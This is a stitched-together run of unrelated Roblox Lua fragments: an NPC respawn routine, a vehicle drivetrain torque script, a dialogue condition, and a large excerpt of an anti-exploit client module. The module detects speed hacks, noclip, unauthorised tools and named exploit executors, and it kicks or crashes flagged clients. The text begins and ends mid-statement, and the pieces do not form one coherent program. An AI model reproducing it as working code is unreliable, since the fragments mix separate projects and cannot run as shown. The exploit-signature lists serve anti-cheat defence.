JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid:FindFirstChild("Status")and not JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")then SpawnModel=Instance.new("Model"); SpawnModel.Parent=JeffTheKillerHumanoid.Status; SpawnModel.Name="AvalibleSpawns"; else SpawnModel=JeffTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns"); end; function FindSpawn(SearchValue) local PartsArchivable=SearchValue:GetChildren(); for AreaSearch=1,#PartsArchivable do if PartsArchivable[AreaSearch].className=="SpawnLocation"then local PositionValue=Instance.new("Vector3Value",SpawnModel); PositionValue.Value=PartsArchivable[AreaSearch].Position; PositionValue.Name=PartsArchivable[AreaSearch].Duration; end; FindSpawn(PartsArchivable[AreaSearch]); end; end; FindSpawn(Game:GetService("Workspace")); local SpawnChilden=SpawnModel:GetChildren(); if#SpawnChilden>0 then local SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)]; local RespawningForceField=Instance.new("ForceField"); RespawningForceField.Parent=JeffTheKiller; RespawningForceField.Name="SpawnForceField"; GameDerbis:AddItem(RespawningForceField,SpawnItself.Name); JeffTheKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0)); else if JeffTheKiller:FindFirstChild("SpawnForceField")then JeffTheKiller:FindFirstChild("SpawnForceField"):Destroy(); end; JeffTheKiller:MoveTo(Vector3.new(0,115,0)); end; end)); end; function Respawn() Wait(5); Respawndant.Parent=JeffTheKiller.Parent; Respawndant:makeJoints(); Respawndant:FindFirstChild("Head"):MakeJoints(); Respawndant:FindFirstChild("Torso"):MakeJoints(); JeffTheKiller:remove(); end; if AdvancedRespawnScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.Died:connect(Respawn); end;
--print(speed/1.298) --print(carSeat.Parent.Parent.Wheels.FL.Wheel.RotVelocity.Magnitude)
--print("Speed: "..speed) --print("Wheels: "..math.abs(orderch)) if carSeat.Storage.Automatic.Value == true and currentgear.Value > 2 and script.Parent.Active.CC.Value == false then --hpatt cant be automatic if rpm.Value <= redline.Value*0.2 and currentgear.Value > 3 then script.Parent.Functions.ShiftDownRequested.Value = true elseif rpm.Value >= redline.Value*0.9*mode and carSeat.Throttle == 1 and currentgear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 and shf == true then script.Parent.Functions.ShiftUpRequested.Value = true elseif x1x*trans.Value <= redline.Value*0.8*mode and x1x*trans.Value < redline.Value*0.9*mode and currentgear.Value > 3 and carSeat.Throttle ~= 1 then if currentgear.Value > 3 then script.Parent.Functions.ShiftDownRequested.Value = true end end end if currentgear.Value == 1 then park = 0 else park = 1 end if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then if script.Parent.Functions.ShiftDownRequested.Value ~= true and script.Parent.Functions.ShiftUpRequested.Value ~= true then if rpm.Value > redline.Value then else FL.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four FR.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four RL.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four RR.MotorMaxAcceleration = 10+(((0.02*(m*2))*rpm.Value)+((2*m)*convert)*(low*6.5))*four end if currentgear.Value ~= 1 and carSeat.Throttle ~= -1 then if throttle.Value ~= 0 then if script.Parent.Storage.EngineType.Value == "Petrol" then tL = (0.45*vt)*TC if rpm.Value < 2000*convert then FL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi FR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*ft)*ovo*checkcluch)/ch)*tL*xi RL.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL*xi RR.MotorMaxTorque = b*((((((rpm.Value * (1.035*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70))*mid*rt)*ovo*checkcluch)/ch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 2000*convert and rpm.Value < 6000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi script.lp.Value = false FR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo*checkcluch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (0.488*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo*checkcluch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park script.lp.Value = true RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 6000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*checkcluch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.214*((xans/1.4)/900)))+6000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*checkcluch)*tL *xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > redline.Value then FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FL.AngularVelocity = 0 FR.AngularVelocity = 0 RL.AngularVelocity = 0 RR.AngularVelocity = 0 FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 end end if script.Parent.Storage.EngineType.Value == "Diesel" then tL = (0.475*vt)*TC if rpm.Value < 2000*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)/ch)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (1.679*((xans/1.4)/900)))*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)/ch)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 2000*convert and rpm.Value < 4500*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (0.880*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > 4500*convert then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4600)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.204*((xans/1.4)/900)))+4500)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park FR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RL.AngularVelocity = 2500*clutch.Clutch.Value*direction*park RR.AngularVelocity = 2500*clutch.Clutch.Value*direction*park end if rpm.Value > redline.Value then FL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RL.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 RR.MotorMaxAcceleration = ((((120/(convert*7000))*rpm.Value)*(hp.Value/70)*conf)+25)*5 FL.AngularVelocity = 0 FR.AngularVelocity = 0 RL.AngularVelocity = 0 RR.AngularVelocity = 0 FL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 FR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*(1-(torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*ft)*ovo+xt)*2 RL.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 RR.MotorMaxTorque = (((((rpm.Value * (-0.214*((2000/1.4)/900)))+6000)*((torquesplit.Value/100))*1*CT)*(hp.Value/70)*mid*rt)*ovo+xt)*2 end end if script.Parent.Storage.EngineType.Value == "Electric" then FL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi FR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*(1-(torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*ft)*ovo)*tL*xi RL.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi RR.MotorMaxTorque = b*(((((rpm.Value * (-0.04*((xans/1.4)/900)))+2000)*((torquesplit.Value/100))*throttle.Value*CT)*(hp.Value/70)*mid*rt)*ovo)*tL*xi FL.AngularVelocity = 2500*direction*park FR.AngularVelocity = 2500*direction*park RL.AngularVelocity = 2500*direction*park RR.AngularVelocity = 2500*direction*park end else if carSeat.Throttle ~= -1 and carSeat.Storage.Handbrake.Value ~= true then --guava = (redline.Value/1000)-(rpm.Value/1000) FL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100)) FR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*(1-(torquesplit.Value/100)) RL.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100)) RR.MotorMaxTorque = 200 * (displacement.Value/2000)*clutch.Clutch.Value*(1-script.Parent.Storage.Brake.Value)*((torquesplit.Value/100)) FL.AngularVelocity = coast/four ------------^MULTIPLY THIS BY THE INVESE OF THE RPM [SCALE]^^^^^^^^^ FR.AngularVelocity = coast/four --------< MULTIPLY THIS BY GEAR (THE VALUE SHOULD BE UP THERE SOMEWHERE^^^) RL.AngularVelocity = coast/four RR.AngularVelocity = coast/four end if script.Parent.Storage.EngineType.Value ~= "Electric" then FL.MotorMaxAcceleration = 150 FR.MotorMaxAcceleration = 150 RL.MotorMaxAcceleration = 150 RR.MotorMaxAcceleration = 150 end end end end end elseif currentgear.Value == 1 or carSeat.Throttle == -1 or script.Parent.Functions.Engine.Value == false then carSeat.Parent.Transmission.Reverse.Pitch = 0 carSeat.Parent.Differential.Idle.Pitch = 0 carSeat.Parent.Differential.Engine.Pitch = 0 carSeat.Parent.Engine.Intake.Pitch = 0 --carSeat.Parent.Engine.Blowoff.Pitch = 0 if rpm.Value > 0 then rpm.Value = rpm.Value - decay.Value else rpm.Value = 0 end end end
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return not plrData.Character.Stats.HasMana.Value or plrData.Character.Stats.ManaXP.Value < 150 end
-- print("Malicious object "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --Unlikely that people will give a legitimate object a name used on the malicious object list
i:Remove() return end end for x = 1, #maliciousclasses do if i.className == maliciousclasses[x] then
--[[ UI Service for Notifications EEEEEEErrrrMMMMMMMMMMMMMMMMMMMMMMMMMMMMEEEEEEeeeeeeeEEEEEEEEE ]]
--hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))
hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(math.random(-100,100)/100,math.random(100,200)/100,math.random(-100,100)/100) elseif hit:IsA("Model") then for _,v in next,hit:GetDescendants() do if v:IsA("BasePart") then v.Anchored = true v.CanCollide = false end end local modelSize= hit:GetExtentsSize() local vary = freeSpace-modelSize
--// Anti-Exploit
return function() local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, tick, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, elapsedTime, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local Anti, Process, UI, Variables local function Init() UI = client.UI; Anti = client.Anti; Variables = client.Variables; Process = client.Process; end local script = script local service = service local client = client local Core = client.Core local Remote = client.Remote local Functions = client.Functions local Disconnect = client.Disconnect local Send = client.Remote.Send local Get = client.Remote.Get local NetworkClient = service.NetworkClient local Kill = client.Kill local Player = service.Players.LocalPlayer local Kick = Player.Kick local toget = tostring(getfenv) getfenv().client = nil getfenv().service = nil getfenv().script = nil local Detected = function(action,info) if NetworkClient then pcall(Send,"Detected",action,info) wait(1) if action == "kick" then Disconnect(info) elseif action == "crash" then Kill(info) end end end; local CheckEnv = function() if tostring(getfenv) ~= toget or type(getfenv) ~= "function" then end end local Detectors = service.ReadOnly({ Speed = function(data) service.StartLoop("AntiSpeed",1,function() --if service.CheckMethod(workspace, "GetRealPhysicsFPS") then if workspace:GetRealPhysicsFPS() > tonumber(data.Speed) then Detected('kill','Speed exploiting') end --else -- Detected('kick','Method change detected') --end end) end; LockLighting = function(data) --// Replaced by LocalLighting --[[ local lightSets = Remote.Get("Variable","LightingSettings") service.Lighting.Changed:connect(function(c) if lightSets[c] ~= nil then service.Lighting[c] = lightSets[c] local data = {} data.Property = c Remote.Send("AddReplication","LChanged",data) end end)--]] local settings = { Ambient = service.Lighting.Ambient; Brightness = service.Lighting.Brightness; ColorShift_Bottom = service.Lighting.ColorShift_Bottom; ColorShift_Top = service.Lighting.ColorShift_Top; GlobalShadows = service.Lighting.GlobalShadows; OutdoorAmbient = service.Lighting.OutdoorAmbient; Outlines = service.Lighting.Outlines; ShadowColor = service.Lighting.ShadowColor; GeographicLatitude = service.Lighting.GeographicLatitude; Name = service.Lighting.Name; TimeOfDay = service.Lighting.TimeOfDay; FogColor = service.Lighting.FogColor; FogEnd = service.Lighting.FogEnd; FogStart = service.Lighting.FogStart; } local checking = false Routine(function() while true do if not checking then for i,v in pairs(settings) do if service.Lighting[i] ~= nil then --print(i) settings[i] = service.Lighting[i] end end end wait(1) end end) Variables.LightingChanged = false local tempIgnore = false local function check(c) if Variables.LightingChanged then return true end local temp = service.Lighting[c] if service.Lighting[c] ~= nil and settings[c] ~= nil then tempIgnore = true service.Lighting[c] = settings[c] tempIgnore = false wait(0.01) if c == Anti.LastChanges.Lighting then tempIgnore = true service.Lighting[c] = temp tempIgnore = false return true else return false end end end service.Lighting.Changed:connect(function(c) checking = true if not tempIgnore then if check(c) then print("SERVER CHANGED IT") else print("CLIENT CHANGED IT") end end checking = false end) end; ReplicationLogs = function() local filtering = workspace.FilteringEnabled local function checkParent(obj,class) local tester; pcall(function() tester = obj:GetFullName() end) if tester then local full = obj:GetFullName() local prev = game local blackParents = { service.InsertService; service.TweenService; service.GamepadService; service.Workspace.CurrentCamera; service.LocalContainer(); service.Player; service.Player.Character; } local blackClasses = { "TouchTransmitter"; } local players = service.Players:GetPlayers() for ind,b in pairs(blackParents) do if b and (rawequal(obj, b) or obj:IsDescendantOf(b)) then return true end end for ind,b in pairs(blackClasses) do if obj:IsA(b) then return true end end for ind,p in pairs(players) do if p and (obj:IsDescendantOf(p) or (p.Character and obj:IsDescendantOf(p.Character)))then return true end end local new = obj for i=1,50 do if new then if (class and new:IsA(class)) and not (string.find(new.Name,"ADONIS") and new:IsA("LocalScript")) then return true else prev = new end else return false end new = obj.Parent end return false else --warn(Anti.GetClassName(obj)) return true end end game.DescendantAdded:Connect(function(c) if not filtering and not checkParent(c) then --print("LOG CREATE "..c:GetFullName()) local data = {} data.obj = c data.name = c.Name data.class = c.ClassName data.parent = c.Parent data.path = c:GetFullName() Remote.Fire("AddReplication","Created",c,data) end end) game.DescendantRemoving:Connect(function(c) if not filtering and not checkParent(c) then --print("LOG DESTROY "..c:GetFullName()) local data = {} data.obj = c data.name = c.Name data.class = c.ClassName data.parent = c.Parent data.path = c:GetFullName() if c and c.Parent then local event; event = c.Parent.ChildRemoved:connect(function(n) if rawequal(c, n) then Remote.Fire("AddReplication","Destroyed",c,data) event:disconnect() end end) wait(5) if event then event:disconnect() end else Remote.Fire("AddReplication","Destroyed",c,data) end end end) end; NameId = function(data) local realId = data.RealID local realName = data.RealName service.StartLoop("NameIDCheck",10,function() if service.Player.Name ~= realName then Detected('log','Local username does not match server username') end if service.Player.userId ~= realId then Detected('log','Local userID does not match server userID') end end) end; AntiGui = function(data) --// Future service.Player.DescendantAdded:connect(function(c) if c:IsA("GuiMain") or c:IsA("PlayerGui") and rawequal(c.Parent, service.PlayerGui) and not UI.Get(c) then c:Destroy() Detected("log","Unknown GUI detected and destroyed") end end) end; AntiTools = function(data) if service.Player:WaitForChild("Backpack", 120) then local btools = data.BTools --Remote.Get("Setting","AntiBuildingTools") local tools = data.AntiTools --Remote.Get("Setting","AntiTools") local allowed = data.AllowedList --Remote.Get("Setting","AllowedToolsList") local function check(t) if (t:IsA("Tool") or t:IsA("HopperBin")) and not t:FindFirstChild(Variables.CodeName) then if client.AntiBuildingTools and t:IsA("HopperBin") and (rawequal(t.BinType, Enum.BinType.Grab) or rawequal(t.BinType, Enum.BinType.Clone) or rawequal(t.BinType, Enum.BinType.Hammer) or rawequal(t.BinType, Enum.BinType.GameTool)) then t.Active = false t:Destroy() Detected("log","Building tools detected") end if tools then local good = false for i,v in pairs(client.AllowedToolsList) do if t.Name==v then good = true end end if not good then t:Destroy() Detected("log","Tool detected") end end end end for i,t in pairs(service.Player.Backpack:children()) do check(t) end service.Player.Backpack.ChildAdded:connect(check) end end; --[[ CheatEngineFinder = function(data) for i,v in pairs(service.LogService:GetLogHistory()) do for k,m in pairs(v) do if type(m)=='string' and m:lower():find('program files') and m:lower():find('cheat engine') and m:lower():find('failed to resolve texture format') then Detected('kick','Cheat Engine installation detected.') end end end end; --]] HumanoidState = function(data) wait(1) local humanoid = service.Player.Character:WaitForChild("Humanoid") local event local doing = true event = humanoid.StateChanged:connect(function(old,new) if not doing then event:disconnect() end if rawequal(new, Enum.HumanoidStateType.StrafingNoPhysics) and doing then doing = false Detected("kill","Noclipping") event:disconnect() end end) while humanoid and humanoid.Parent and humanoid.Parent.Parent and doing and wait(0.1) do if rawequal(humanoid:GetState(), Enum.HumanoidStateType.StrafingNoPhysics) and doing then doing = false Detected("kill","Noclipping") end end end; Paranoid = function(data) wait(1) local char = service.Player.Character local torso = char:WaitForChild("Head") local humPart = char:WaitForChild("HumanoidRootPart") local hum = char:WaitForChild("Humanoid") while torso and humPart and rawequal(torso.Parent, char) and rawequal(humPart.Parent, char) and char.Parent ~= nil and hum.Health>0 and hum and hum.Parent and wait(1) do if (humPart.Position-torso.Position).magnitude>10 and hum and hum.Health>0 then Detected("kill","HumanoidRootPart too far from Torso (Paranoid?)") end end end; MainDetection = function(data) local game = service.DataModel local isStudio = select(2, pcall(service.RunService.IsStudio, service.RunService)) local findService = service.DataModel.FindService local lastUpdate = tick() local doingCrash = false local goodCores = {} local gettingGood = false local gettingMenu = false local menuOpened = false local gotGoodTime = tick() local coreNums = {} local coreClears = { FriendStatus = true; ImageButton = false; ButtonHoverText = true; HoverMid = true; HoverLeft = true; HoverRight = true; ButtonHoverTextLabel = true; Icon = true; ImageLabel = true; NameLabel = true; Players = true; ColumnValue = true; ColumnName = true; Frame = false; StatText = false; } local lookFor = { --'stigma'; --'sevenscript'; --"a".."ssh".."ax"; --"a".."ssh".."urt"; --'elysian'; 'current identity is 0'; 'gui made by kujo'; "tetanus reloaded hooked"; --"brackhub"; } local files = { ["C:\RC7\rc7.dat"] = true; } local function check(Message) for i,v in pairs(lookFor) do if string.find(string.lower(Message),string.lower(v)) and not string.find(string.lower(Message),"failed to load") then return true end end end local function findLog(msg) for i,v in pairs(service.LogService:GetLogHistory()) do if string.find(string.lower(v.message),string.lower(msg)) then return true end end end local function findFiles() local image = service.New("Decal",service.Workspace) for i,v in next,files do image.Texture = i; wait(0.5) if findLog(i) then else --// Detected warn("RC7 DETECTION WORKED?") end end end local function isGood(item) for i,v in next,goodCores do if rawequal(item, v) then return true end end end local function checkServ(c) if not pcall(function() if not isStudio and (findService("ServerStorage", game) or findService("ServerScriptService", game)) then Detected("crash","Disallowed Services Detected") end end) then Detected("kick","Finding Error") end end local function chkObj(item) local coreNav = service.GuiService.CoreGuiNavigationEnabled service.GuiService.CoreGuiNavigationEnabled = false if Anti.ObjRLocked(item) and not service.GuiService:IsTenFootInterface() then local cont = true local ran,err = pcall(function() local checks = { service.Chat; service.Teams; service.Lighting; service.StarterGui; service.TestService; service.StarterPack; service.StarterPlayer; service.JointsService; service.InsertService; service.ReplicatedStorage; service.ReplicatedFirst; service.SoundService; service.HttpService; service.Workspace; service.Players; } for i,v in next,checks do if item:IsDescendantOf(v) then cont = false end end end) if cont then local cont = false local class = Anti.GetClassName(item) local name = tostring(item) local checks = { "Script"; "LocalScript"; "CoreScript"; "ScreenGui"; "Frame"; "TextLabel"; "TextButton"; "ImageLabel"; "TextBox"; "ImageButton"; "GuiMain"; } if class then if class == "LocalScript" then return true end for i,v in next,checks do if rawequal(class, v) then cont = true end end --[[ Menu: FriendStatus - TextButton; EVERY SINGLE MENU GUI ON CLICK FFS Reset: ImageButton - ImageButton ButtonHoverText - Frame HoverMid - ImageLabel HoverLeft - ImageLabel HoverRight - ImageLabel ButtonHoverTextLabel - TextLabel PlayerList: Icon - ImageLabel; ImageLabel - ImageLabel; NameLabel - TextLabel; Players - Frame; ColumnValue - TextLabel; ColumnName - TextLabel; Frame - Frame; StatText - TextLabel; ]]-- end if not true and cont and menuOpened == false then local players = 0 local leaderstats = {} local totStats = 0 local teams = 0 local total = 0 for i,v in pairs(service.Players:GetChildren()) do if v:IsA("Player") then players = players+1 local stats = v:FindFirstChild("leaderstats") if stats then for k,m in pairs(stats:GetChildren()) do if not leaderstats[m.Name] then leaderstats[m.Name] = 0 end leaderstats[m.Name] = leaderstats[m.Name]+1 end end end end for i,v in pairs(leaderstats) do totStats = totStats+1 end for i,v in pairs(service.Teams:GetChildren()) do if v:IsA("Team") then teams = teams+1 end end total = (teams+players+((teams+players)*totStats)+totStats)-1 if not coreNums[name] then coreNums[name] = 0 end coreNums[name] = coreNums[name]+1 print(name.." : "..class.." : "..coreNums[name]) print(total) --[[ if name == "FriendStatus" and coreNums.FriendStatus > players then print("FRIEND STATUS EXCEEDED PLAYER COUNT") elseif name == "Icon" and coreNums.Icon > players then print("ICON EXCEEDED PLAYER COUNT") elseif name == "ColumnValue" and coreNums.ColoumnValue > totPlayerItems then print("COLUMN VALUE EXCEEDS PLAYER ITEMS COUNT") elseif name == "ColumnName" and coreNums.ColumnName > totPlayerItems then print("COLUMN NAME EXCEEDS PLAYER ITEMS COUNT") elseif name == "NameLabel" and coreNums.NameLabel > totPlayerItems then print("NAME LABEL EXCEEDS PLAYER ITEMS COUNT") end--]] if menuOpen or (gettingGood or (gettingMenu and (name == "FriendStatus" and class == "TextButton"))) then table.insert(goodCores,item) elseif not isGood(item) then --print("-------------------------------") --print("FOUND NAME: "..tostring(item)) --print("FOUND CLASS: "..tostring(class)) --print("FOUND TYPE: "..tostring(type(item))) --print("FOUND TYPEOF: "..tostring(type(item))) --print("-------------------------------") local testName = tostring(math.random()..math.random()) local ye,err = pcall(function() service.GuiService:AddSelectionParent(testName, item) -- Christbru figured out the detection method service.GuiService:RemoveSelectionGroup(testName) end) --print(ye,err) if err and string.find(err,testName) and string.find(err,"GuiService:") then return true end wait(0.5) for i,v in next,service.LogService:GetLogHistory() do if string.find(v.message,testName) and string.find(v.message,"GuiService:") then return true end end--]] end end end end service.GuiService.CoreGuiNavigationEnabled = coreNav end local function checkTool(t) if (t:IsA("Tool") or t:IsA("HopperBin")) and not t:FindFirstChild(Variables.CodeName) and service.Player:FindFirstChild("Backpack") and t:IsDescendantOf(service.Player.Backpack) then if t:IsA("HopperBin") and (rawequal(t.BinType, Enum.BinType.Grab) or rawequal(t.BinType, Enum.BinType.Clone) or rawequal(t.BinType, Enum.BinType.Hammer) or rawequal(t.BinType, 